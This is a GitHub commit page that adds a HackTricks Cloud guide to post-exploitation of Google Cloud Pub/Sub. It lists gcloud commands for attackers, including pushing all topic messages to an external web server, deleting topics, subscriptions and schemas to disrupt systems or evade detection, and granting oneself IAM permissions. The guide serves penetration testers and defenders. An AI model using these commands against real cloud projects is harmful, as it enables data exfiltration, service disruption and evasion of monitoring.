-
Notifications
You must be signed in to change notification settings - Fork 256
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
GITBOOK-530: change request with no subject merged in GitBook
- Loading branch information
1 parent
6781f8c
commit 490bbb2
Showing
3 changed files
with
182 additions
and
22 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
164 changes: 164 additions & 0 deletions
164
...sting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,164 @@ | ||
# GCP - Pub/Sub Post Exploitation | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> | ||
|
||
## Pub/Sub | ||
|
||
For more information about Pub/Sub check the following page: | ||
|
||
{% content-ref url="../gcp-services/gcp-pub-sub.md" %} | ||
[gcp-pub-sub.md](../gcp-services/gcp-pub-sub.md) | ||
{% endcontent-ref %} | ||
|
||
### `pubsub.topics.publish` | ||
|
||
Publish a message in a topic, useful to **send unexpected data** and trigger unexpected functionalities or exploit vulnerabilities: | ||
|
||
```bash | ||
# Publish a message in a topic | ||
gcloud pubsub topics publish <topic_name> --message "Hello!" | ||
``` | ||
|
||
### `pubsub.topics.detachSubscription` | ||
|
||
Useful to prevent a subscription from receiving messages, maybe to avoid detection. | ||
|
||
```bash | ||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME> | ||
``` | ||
|
||
### `pubsub.topics.delete` | ||
|
||
Useful to prevent a subscription from receiving messages, maybe to avoid detection.\ | ||
It's possible to delete a topic even with subscriptions attached to it. | ||
|
||
```bash | ||
gcloud pubsub topics delete <TOPIC NAME> | ||
``` | ||
|
||
### `pubsub.topics.update` | ||
|
||
Use this permission to update some setting of the topic to disrupt it, like `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... | ||
|
||
### `pubsub.topics.setIamPolicy` | ||
|
||
Give yourself permission to perform any of the previous attacks. | ||
|
||
### **pubsub.subscriptions.create`,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) | ||
|
||
Get all the messages in a web server: | ||
|
||
{% code overflow="wrap" %} | ||
```bash | ||
# Crete push subscription and recieve all the messages instantly in your web server | ||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to> | ||
``` | ||
{% endcode %} | ||
|
||
Create a subscription and use it to **pull messages**: | ||
|
||
```bash | ||
# This will retrive a non ACKed message (and won't ACK it) | ||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name> | ||
|
||
# You also need pubsub.subscriptions.consume for this | ||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME> | ||
## This command will wait for a message to be posted | ||
``` | ||
|
||
### `pubsub.subscriptions.delete` | ||
|
||
**Delete a subscription** could be useful to disrupt a log processing system or something similar: | ||
|
||
```bash | ||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME> | ||
``` | ||
|
||
###  `pubsub.subscriptions.update` | ||
|
||
Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it. | ||
|
||
### `pubsub.subscriptions.setIamPolicy` | ||
|
||
Give yourself the permissions needed to perform any of the previously commented attacks. | ||
|
||
### `pubsub.schemas.delete` | ||
|
||
Delete a schema to be able to send messages that doesn't fulfil with the schema: | ||
|
||
```bash | ||
gcloud pubsub schemas delete <SCHEMA NAME> | ||
``` | ||
|
||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) | ||
|
||
Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\ | ||
If there aren't any schemas you might need to create one. | ||
|
||
{% code title="schema.json" %} | ||
```json | ||
{ | ||
"namespace": "com.example", | ||
"type": "record", | ||
"name": "Person", | ||
"fields": [ | ||
{ | ||
"name": "name", | ||
"type": "string" | ||
}, | ||
{ | ||
"name": "age", | ||
"type": "int" | ||
} | ||
] | ||
} | ||
``` | ||
{% endcode %} | ||
|
||
```bash | ||
# Attach new schema | ||
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \ | ||
--schema=projects/<project-name>/schemas/<topic-id> \ | ||
--message-encoding=json | ||
``` | ||
|
||
### `pubsub.schemas.setIamPolicy` | ||
|
||
Give yourself the permissions needed to perform any of the previously commented attacks. | ||
|
||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek` | ||
|
||
This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's: | ||
|
||
```bash | ||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ | ||
--subscription=YOUR_SUBSCRIPTION_NAME | ||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ | ||
--snapshot=YOUR_SNAPSHOT_NAME | ||
``` | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters